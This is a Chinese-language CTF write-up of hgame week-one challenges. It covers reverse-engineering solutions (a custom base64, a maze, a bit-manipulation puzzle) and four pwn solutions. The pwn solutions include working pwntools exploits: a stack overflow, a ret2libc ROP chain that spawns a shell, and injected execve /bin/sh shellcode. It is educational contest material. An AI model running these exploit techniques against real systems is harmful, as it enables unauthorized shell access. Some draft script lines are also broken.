这里记录了hgame 第一周的re与 pwn 题解,希望能给大家带来帮助!
首先将它拖入ida,
于是 我们可以通过 ida 中的 F12 功能键 去搜索 字符串,然后通过关键字符串去定位到main函数,从而 继续后面的分析
我们搜索到以下关键字符串(红框框住部分)
通过它们便可以定位到 main函数所在位置:
程序流程 为:
我们输入的字符串然后经过sub_140001EB0函数处理,处理后得到的字符串再与
“0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 做比较,相等的话就说明我们已经拿到 flag了!
我们进去 sub_140001EB0函数:
signed __int64 __fastcall sub_140001EB0(_BYTE *a1, __int64 a2, int a3)
{
int v3; // er10
__int64 v4; // rax
__int64 v5; // rbx
_BYTE *v6; // rdi
_BYTE *v7; // r9
signed __int64 v8; // r11
unsigned __int64 v9; // rdx
unsigned __int64 v10; // rax
char v11; // cl
v3 = 0;
v4 = a3 - 2;
v5 = a2;
v6 = a1;
v7 = a1;
if ( v4 > 0 )
{
v8 = a2 + 1;
v9 = ((unsigned __int64)((unsigned __int64)(v4 - 1) * (unsigned __int128)0xAAAAAAAAAAAAAAABui64 >> 64) >> 1) + 1;
v3 = 3 * v9;
do
{
v10 = *(unsigned __int8 *)(v8 - 1);
v8 += 3i64;
*v7 = aAbcdefghijklmn[v10 >> 2];
v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v8 - 3) >> 4) | 16i64 * (*(_BYTE *)(v8 - 4) & 3)];
v7[2] = aAbcdefghijklmn[4i64 * (*(_BYTE *)(v8 - 3) & 0xF) | ((unsigned __int64)*(unsigned __int8 *)(v8 - 2) >> 6)];
v7[3] = aAbcdefghijklmn[*(_BYTE *)(v8 - 2) & 0x3F];
v7 += 4;
--v9;
}
while ( v9 );
}
if ( v3 < a3 )
{
*v7 = aAbcdefghijklmn[(unsigned __int64)*(unsigned __int8 *)(v3 + v5) >> 2];
if ( v3 == a3 - 1 )
{
v11 = 61;
v7[1] = aAbcdefghijklmn[16 * (*(_BYTE *)(v3 + v5) & 3)];
}
else
{
v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v5 + v3 + 1) >> 4) | 16i64
* (*(_BYTE *)(v3 + v5) & 3)];
v11 = aAbcdefghijklmn[4 * (*(_BYTE *)(v5 + v3 + 1) & 0xF)];
}
v7[2] = v11;
v7[3] = 61;
v7 += 4;
}
*v7 = 0;
return v7 - v6 + 1;
}
输 通过阅读代码很明显的 base64编码,将3个8位的字节(38)转化成4个6位的字节(46),
之后在6位的前面补两个0,形成8位一个字节的形式。 当然具体的base64编码实现可以在网上具体学习下
当然这里 并不是纯粹的base64 加密,正宗的base64 的加密table为” ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/” 这题将table给换成了 “abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ”
所以这题的 flag 可由 对 “0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 进行 魔改后的base64 进行解密。(在网上可找个 base 64 解密代码 将其 将其table给换了,即可。
)
flag为:
hgame{b45e6a_i5_50_eazy_6VVSQ}
这题 其实是 re中经典的 迷宫类 题目,拖入ida:详细见注释中的分析
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int v3; // eax
__int64 v4; // [rsp+0h] [rbp-80h]
char *v5; // [rsp+8h] [rbp-78h]
char s[48]; // [rsp+10h] [rbp-70h]
char v7; // [rsp+40h] [rbp-40h]
unsigned __int64 v8; // [rsp+78h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_4006A6(a1, a2, a3);
__isoc99_scanf("%40s", s);
HIDWORD(v4) = strlen(s);
LODWORD(v4) = 0;
v5 = (char *)&unk_6020C4; //这里是我们要开始走的位置 char* 类型
while ( (signed int)v4 < SHIDWORD(v4) ) //这里的while 循环去 逐位的判断 我们的 输入
{
v3 = s[(signed int)v4];
if ( v3 == 'd' )
{
v5 += 4; // +4 既可以理解为 向 右 走 四位 ,即 d 代表 着 右移
}
else if ( v3 > 'd' )
{
if ( v3 == 's' )
{
v5 += 64; //+64 相当于 64/4=16 行 把地图看着 二维数组,即 s代表 着 下移
} //一般 像迷宫题,都是 正方形式 的 即 x*x 的方阵,在后面其实发现这题 仍然是。即 16*16 的方阵
else
{
if ( v3 != 'w' ) //同理的话 w 代表着 上移
{
LABEL_12:
puts("Illegal input!");
exit(0);
}
v5 -= 64;
}
}
else
{
if ( v3 != 'a' ) //同理的话 a 代表着 上移
goto LABEL_12;
v5 -= 4;
}
if ( v5 < (char *)&unk_602080 || v5 > (char *)&unk_60247C || *(_DWORD *)v5 & 1 )
goto LABEL_22; //这里我们可以确定整个地图是 以unk_602080处开始的,但我们是在unk_6020C4开始行走的
LODWORD(v4) = v4 + 1;
}
if ( v5 == (char *)&unk_60243C ) //地图结束地址
{
sprintf(&v7, "hgame{%s}", s, v4);
puts("You win!");
printf("Flag is: ");
puts(&v7);
exit(0);
}
LABEL_22:
puts("You died");
exit(0);
}
即 首先我们将 地图 通过 IDC 脚本 跑出来:
关于 idc 脚本语言可以在网上看下这篇链接https://www.jianshu.com/p/366cd488cb24
以下是跑出来的结果
0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0
通过可以通过 python脚本将它们 排好 16*16,
#coding:utf8
v5=[0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0]
#print len(v5)
for i in range(len(v5)):
if (i+1)%16==0:
print v5[i]
else:
print v5[i],
阅读代码 我们可以得到 wasd 为 分别控制上左右下的 字符
从左上角的第一个 0 走到 右下角 得到 ssssddddddsssssddwwdddssssdssdd
最后 加上 hgame{} 即 flag :
hgame{ssssddddddsssssddwwdddssssdssdd}
这道题 真的是 re里出的很好的一道题,
照常一下,拖入ida:,
先看第一部分,这里其实要求输入 39 个字符串,除去开始的 hgame{ 和最一个 }还剩32个
因为 v6,v7,v8,v9,v10,v11,v12,v13 在连续的,其实可以用数组V6[8] 去理解它们的
v6是 数组首地址,后面的 在数组中元素嘛
即 在这里我们知道了: V6= [76,60,214,54,80,136,32,204]
然后
我们进去看下 sub_400616()函数
可以知道 它其实是 将 一个字符串的每两个 字符 分别转化为 16进制数然后合成 一个 1个字符, 举个列子:
“4b” -> chr(0x4b) ->”K”
所以第一部分:将是相当于 我们输入的 32个字符串 前 16个字符经上面函数处理成 8个字符存在与 V14 中 ,后16个字符经上面函数处理成 8个字符存在与 V16 中,
然后下面有3 个 for 循环:
我们逆着来, 先分析 最后一个:
经过最后一个 for循环得到v16(代码中记录为 VV16) 应该为 "Easylif3"
而经过 第二个 for循环的到的 v14(代码中记录为 VV14) 应该为 “e4syRe:
关于位运算这里 有个小规律:
从而我们写出 python 脚本 跑出 第一个 for循环 v16 应该为的 内容
#coding:utf8
v6=[76,60,214,54,80,136,32,204]
vv14='e4sy_Re_'
vv16="Easylif3"
v16=[]
v14=[]
for k in range(8):
v16.append(ord(vv14[k])^(v6[k])^ord(vv16[k]))
print v16#[108, 105, 214, 54, 99, 179, 35, 160]
然后看 第二个 for循环:
这个更简单些,我们可以 很容易得到 第一个 for循环 v16 应该为的 内容
for j in range(8):
v14.append(ord(vv14[j])^(v6[j]))
print v14#[41, 8, 165, 79, 15, 218, 69, 147]
最后 我们看第一个 for循环:
我们相应着 将这个for循环中的 四个 表达式 倒着再循环过来即可,注意要记得将第一个 表达式的 >>5 变成<< 5 8** 变成 >>3
哦哦,这里要注意下 关于在ida 中并不是所有 反编译 都是完全 正确的,我们查看汇编 发现 **8 其实就是 <<3
for i in range(8):
v14[i] = v14[i]&0x55 ^ (v16[7-i]&0xAA)>>1 | v14[i]&0xAA
v16[7-i]=(v14[i]&0x55)<<1 ^ v16[7-i]&0xAA | v16[7-i]&0x55
v14[i]=v14[i]&0x55^(v16[7-i]&0xAA)>>1 | v14[i] &0xAA
v14[i]=v14[i]&0xE0<<5 | v14[i]>>3
# print v14
# print v16
for i in range(8):
v14[i]=hex(v14[i])
v16[i]=hex(v16[i])
print v14
print v16
得到结果:
V14:['0xf', '0x3', '0x1e', '0x3', '0x3', '0x19', '0x2', '0x12']
V16:['0x66', '0xcb', '0xf4', '0x1e', '0xcb', '0x1b', '0x1', '0x2']
而根据我们前面的分析 我们输入的字符串 就是 “hgame{“ +v14+v16+}
即 # hgame{ 0f233e63637982d266cbf41ecb1b0102 }
首先用file命令 检查下 文件属性:
file Hard_AAAAA
Hard_AAAAA: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=5c5c4e8b21a1b4ef48330e486d89a5064da74169, not stripped
然后用checksec 命令查看下 该程序开启了什么保护。
checksec Hard_AAAAA
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found //开启了 Canary 保护
NX: NX enabled
PIE: No PIE (0x8048000)
于是拖入 ida(32):
这道题很简单,再将之前我们 得去 详细了解下 memcmp函数 (比较内存块大小的函数):
这个很关键:
int memcmp ( const void * ptr1, const void * ptr2, size_t num );
//ptr1 ,ptr2 是指向内存块得指针
//num 是要比较得字节数
将ptr1指向的内存块的第一个num字节与ptr2指向的第一个num字节进行比较,
如果它们都匹配,则返回零;
如果不匹配,且ptr1中的值 比 ptr2 中的值 小 返回 <0 的 int 值
如果不匹配,且ptr1中的值 比 ptr2 中的值 大 返回 >0 的 int 值
请注意,与strcmp不同,该函数在找到空字符后不会停止比较。
给个 demo:
#include <stdio.h>
#include <string.h>
int main ()
{
char zise_1[] = "zise_yangwang";
char zise_2[] = "zise_YangWang";
int n;
n=memcmp ( zise_1, zise_2, sizeof(zise_1) );
if (n>0) printf ("'%s' is greater than '%s'.\n",zise_1,zise_2);
else if (n<0) printf ("'%s' is less than '%s'.\n",zise_1,zise_2);
else printf ("'%s' is the same as '%s'.\n",zise_1,zise_2);
return 0;
}
运行结果:
'zise_yangwang' is greater than 'zise_YangWang'.
因为 y(121)>Y(89)
或许,在这之前很多人 在看到第3个参数 7 的时候 就很懵,不应该是 4 嘛,所以,现在看完上面的 知识 就能很明白了,
所以 这题, 的关键 判断 就是要 求 v5的所在内存块中 前 7字节的内容 与 "0O0o"
所在内存块中 前 7字节的内容 相等。即可触发 后门函数, 从而 pwn 掉程序
!memcmp("0O0o", &v5, 7u)
我们通过 动态调试 ,参数arg0 是 第一个参数 地址 arg1 是我们构造的第二个参数 , arg2 是 7
我们通过 命令 x/10x 0x80486e0 得到 前七个 字节内容是 "0O0o"+'\x00'+'O0'
所以 写 exp:
#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./Hard_AAAAA")
io = remote('47.103.214.163',20000)
payload = 'a'*(0xAC-0x31)+"0O0o"+'\x00'+'O0'
#payload += p64(get_flag_addr) #将EIP劫持到get_flag_addr
io.recvuntil("Let's 0O0o\\0O0!")
#gdb.attach(io,'b *0x08048605')
#pause()
io.sendline(payload)
io.interactive()#hgame{0OoO0oo0O0Oo}
首先用file命令 检查下 文件属性:
file One_Shot
One_Shot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=68e45f253cdc8253dce50c56a1eed3f9708d1fae, not stripped
然后用checksec 命令查看下 该程序开启了什么保护。
checksec One_Shot
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖入ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *v4; // [rsp+8h] [rbp-18h]
int fd[2]; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v4 = 0LL;
*(_QWORD *)fd = open("./flag", 0, envp);
setbuf(stdout, 0LL);
read(fd[0], &flag, 30uLL);
puts("Firstly....What's your name?");
__isoc99_scanf("%32s", &name);
puts("The thing that could change the world might be a Byte!");
puts("Take tne only one shot!");
__isoc99_scanf("%d", &v4);
*v4 = 1;
puts("A success?");
printf("Goodbye,%s", &name);
return 0;
}
这里的话 我们 可以知道 该程序读取了 flag 存在在 bss段中,同时name
也存在了栈中,并且它们 相邻, 如果我们把name最后的 结束符\x00 给 换成 1 的话
那么,输出 name将会 顺带着把flag给输出 出来,所以这里 我们 首先输入32
字节大小填满 name,然后将 flag所在bss段中地址 0x6010E0 以十进制即6295776 发送即可实现!
所以 exp:
#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./One_Shot")
io = remote('47.103.214.163',20002)
io.recvuntil("Firstly....What's your name?")
payload = 'a'*32
io.sendline(payload)
io.recvuntil("Take tne only one shot!")
payload2="6295776"
#gdb.attach(io)
#pause()
io.send(payload2)
io.interactive()
得到 flag:hgame{On3_Sh0t_0ne_Fl4g}
我们把它 拖入 ida 发现 其实 源码还是很简单的
我们把我们文件./some_life_experience的 内容 输出,然后我们再最多read 到buf 0x100字节!
这里的漏洞在 最后的read (0,&buf,0x100),存在栈溢出漏洞!
这题没有 system 和/bin/sh 字符后,所以 我这里 是 利用 puts 函数泄露libc
然后最后使用libc中的 system 和 /bin/sh 字符 getshell。
Exp:
#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
#io = remote('47.103.214.163',20002)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr) #0x40065b
print hex(pop_rdi_addr) #0x400753 #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'
payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()
puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))
io.interactive()
从而得到:
经过尝试 确定 libc6_2.23-0ubuntu10_amd64 符合 要求:
我们在 这个网站上 可查到 libc中的 每个函数的 偏移地址:
于是最后的 exp:
#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")
io = remote('47.103.214.163',20003)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr) #0x40065b
print hex(pop_rdi_addr) #0x400753 #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'
payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()
puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)
#libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - 0x06f690#libc.symbols['puts']
system_addr = libc_base + 0x045390#libc.symbols('system')
libc_binsh=next(libc.search("/bin/sh"))
binsh_addr = libc_base + libc_binsh
io.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))
io.interactive()
得到 flag:
hgame{R0P_1s_H4cK3rs'_RoM4nC3}
最后一道 pwn:
直接 丢ida 里,
我们可以看到 我们循环调用 20 次 readll 函数
我们 进入 readll 看下:
我们可以理解为这个函数 它将我们输入的 8个字符类型的数据 转化 成 long long int数据了,
这个 atoll函数 可具体参考这里:http://www.cplusplus.com/reference/cstdlib/atoll/
功能:解析C字符串str,将其内容解释为整数,并将其作为type的值返回long long int。
;另外 我们 注意看 main 函数 v4数组 在栈中 据 rbp的距离 为 0x60
然后除此之外还要注意 在 rbp-0x4 处还有个i ,在当我们覆盖的时候要不能影响它,因为这个i 会被其他地方调用 ,导致 一些奇怪的事情,最后的进行rop的话还要注意 atoll函数 返回类型 是long long int。最大范围是 0x7fffffff ffffffff 最后的shellcode 要用 nop 调整下,不然 会返回 负 1 影响shellcode 功能!
于是 exp:
from pwn import *
p = process("./Number_Killer")
#p = remote('47.103.214.163',20001)
context.log_level = 'info'
context.arch ='amd64'
p.recvuntil("Let's Pwn me with numbers!\n")
def sendNumber(num):
p.sendline(str(num))
sleep(0.1)
for i in range(11):
sendNumber(1)
sendNumber(0xc00000000) #idx
#gdb.attach(p)
#pause()
sendNumber(0x00000000040078d) #ret_addr
shellcode = "\x90\x90\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
shellcode = shellcode.ljust(0x30,'\x00')
print(len(shellcode))
for i in range(6):
sh = shellcode[8*i:8*i+8]
num = u64(sh)
print(hex(num))
sendNumber(num)
p.interactive()
得到 flag:
hgame{Ea2y_2hel1c0de_1n_St4ck}